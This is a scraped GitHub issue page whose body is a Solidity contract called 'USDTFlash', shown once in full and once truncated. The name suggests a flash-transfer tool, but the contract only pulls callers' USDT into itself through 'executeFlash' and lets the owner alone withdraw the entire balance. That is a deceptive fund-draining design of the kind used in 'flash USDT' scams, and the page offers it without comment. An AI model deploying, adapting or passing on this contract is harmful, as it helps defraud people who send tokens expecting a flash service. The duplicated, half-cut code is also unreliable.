We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
interface ITRC20 { function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function balanceOf(address owner) external view returns (uint); }
contract USDTFlash { address public owner; ITRC20 public usdt;
constructor(address _usdt) { owner = msg.sender; usdt = ITRC20(_usdt); } function executeFlash(uint amount) external { require(usdt.transferFrom(msg.sender, address(this), amount), "Transfer failed"); } function withdraw() external { require(msg.sender == owner, "Not owner"); uint balance = usdt.balanceOf(address(this)); require(usdt.transfer(owner, balance), "Withdraw failed"); }
}
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Uh oh!
There was an error while loading. Please reload this page.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITRC20 {
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function balanceOf(address owner) external view returns (uint);
}
contract USDTFlash {
address public owner;
ITRC20 public usdt;
}
The text was updated successfully, but these errors were encountered: